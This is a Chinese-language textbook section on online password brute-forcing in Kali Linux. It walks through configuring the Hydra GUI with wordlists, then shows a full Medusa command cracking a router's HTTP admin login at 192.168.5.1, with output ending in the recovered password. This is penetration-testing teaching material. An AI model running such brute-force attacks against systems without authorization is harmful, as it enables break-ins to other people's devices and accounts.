为了使用户能成功登录到目标系统,所以需要获取一个正确的密码。在Kali中,在线破解密码的工具很多,其中最常用的两款分别是Hydra和Medusa。本节将介绍使用Hydra和Medusa工具实现密码在线破解。
8.1.1 Hydra工具
Hydra是一个相当强大的暴力密码破解工具。该工具支持几乎所有协议的在线密码破解,如FTP、HTTP、HTTPS、MySQL、MS SQL、Oracle、Cisco、IMAP和VNC等。其密码能否被破解,关键在于字典是否足够强大。很多用户可能对Hydra比较熟悉,因为该工具有图形界面,且操作十分简单,基本上可以“傻瓜”操作。下面将介绍使用Hydra工具破解在线密码。
使用Hydra工具破解在线密码。具体操作步骤如下所示。
(1)启动Hydra攻击。在Kali桌面依次选择“应用程序”|Kali Linux|“密码攻击”|“在线攻击”|hydra-gtk命令,将显示如图8.1所示的界面。
图8.1 启动界面
(2)该界面用于设置目标系统的地址、端口和协议等。如果要查看密码攻击的过程,将Output Options框中的Show Attempts复选框勾上。在该界面单击Passwords选项卡,将显示如图8.2所示的界面。
图8.2 指定密码字典
(3)在该界面指定用户名和密码列表文件。本例中使用Kali系统中存在的用户名和密码列表文件,并选择Loop around users选项。其中,用户名和密码文件分别保存在/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/names/nameslist.txt和/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/john.txt中。
(4)设置好密码字典后,单击Tuning选项卡,将显示如图8.3所示的界面。
图8.3 基本设置
(5)在该界面设置任务的编号和超时时间。如果运行任务太多的话,服务的响应速率将下降。所以要建议将原来默认的任务编号16修改为2,超时时间修改为15。然后将Exit after first found pair的复选框勾上,表示找到第一对匹配项时则停止攻击。
(6)以上的配置都设置完后,单击到Start选项卡进行攻击,如图8.4所示。
图8.4 攻击界面
(7)在该界面显示了四个按钮,分别是启动、停止、保存输出和清除输出。这里单击Start按钮开始攻击,攻击过程如图8.5所示。
图8.5 攻击过程
(8)xHydra工具根据自定的用户名和密码文件中的条目,进行匹配。当找到匹配的用户名和密码时,则停止攻击,如图8.5所示。
8.1.2 Medusa工具
Medusa工具是通过并行登录暴力破解的方法,尝试获取远程验证服务访问权限。Medusa能够验证的远程服务,如AFP、FTP、HTTP、IMAP、MS SQL、NetWare、NNTP、PcAnyWhere、POP3、REXEC、RLOGIN、SMTPAUTH、SNMP、SSHv2、Telnet、VNC和Web Form等。下面将介绍使用Medusa工具获取路由器的访问权。
启动Medusa工具。在终端直接运行medusa命令,如下所示:
root@kali:~# medusa
或者在桌面上依次选择“应用程序”|Kali Linux|“密码攻击”|“在线攻击”|medusa命令,将输出如下所示的信息:
以上输出的信息显示了medusa命令的帮助信息。包括meduas命令的语法、可使用的选项及参数。用户可以根据自己的需要,选择相应的选项获取路由器的访问权。下面看一个例子的运行结果。
【实例8-1】使用medusa暴力破解地址为192.168.5.1的路由器,执行命令如下所示:
root@kali:~# medusa -h 192.168.5.1 -u admin -P /usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-
passwd/passwds/john.txt -M http -e ns 80 -F
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
ACCOUNT CHECK: [http] Host: 192.168.5.1 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: (1 of 3109 complete)
ACCOUNT CHECK: [http] Host: 192.168.5.1 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: admin (2 of 3109 complete)
ACCOUNT CHECK: [http] Host: 192.168.5.1 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: 12345 (3 of 3109 complete)
ACCOUNT CHECK: [http] Host: 192.168.5.1 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: abc123 (4 of 3109 complete)
ACCOUNT CHECK: [http] Host: 192.168.5.1 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: password (5 of 3109 complete)
ACCOUNT CHECK: [http] Host: 192.168.5.1 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: computer (6 of 3109 complete)
ACCOUNT CHECK: [http] Host: 192.168.5.1 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: 123456 (7 of 3109 complete)
ACCOUNT CHECK: [http] Host: 192.168.5.1 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: huolong5 (8 of 3109 complete)
ACCOUNT FOUND: [http] Host: 192.168.5.1 User: admin Password: daxueba [SUCCESS]
以上输出的信息是破解路由器密码的一个过程。一般路由器默认的用户名和密码都是admin。但是通常,用户会将密码进行修改。所以这里指定一个密码字典john.txt,通过该字典对路由器进行暴力破解。从最后一行输出的信息,可以看到路由器的用户名和密码分别为admin和daxueba。